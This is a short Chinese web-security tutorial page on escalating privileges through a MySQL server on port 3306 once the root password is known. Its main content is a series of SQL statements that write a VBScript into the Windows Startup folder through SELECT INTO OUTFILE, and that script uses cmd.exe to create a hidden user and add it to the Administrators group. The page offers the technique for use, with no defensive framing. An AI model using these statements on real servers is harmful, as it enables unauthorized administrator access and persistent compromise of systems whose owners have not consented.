不支持PHP情况下，3306端口的提权 - 网站安全

不支持PHP情况下，3306端口的提权 - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 有root密码了，Navicat连接上去执行sql语句create table a (cmd text);insert into a values (set wshshell=createobject (wscript.shell ) );insert into a values (a=wshshell.run (cmd.e......

有root密码了，Navicat连接上去

执行sql语句
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell”" ) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user 1 1/add”",0) ” );
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators 1 /add”",0) ” );
select * from a into outfile “c:\\xxxxxxxx\\xxxxx\\「开始」菜单\\程序\\启动\\a.vbs”;

问题ewebeditor编辑器突破安全狗 - 网站安全 - 自学

对金山游戏的一次渗透测试 - 网站安全 - 自学

子栏目

不支持PHP情况下，3306端口的提权 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论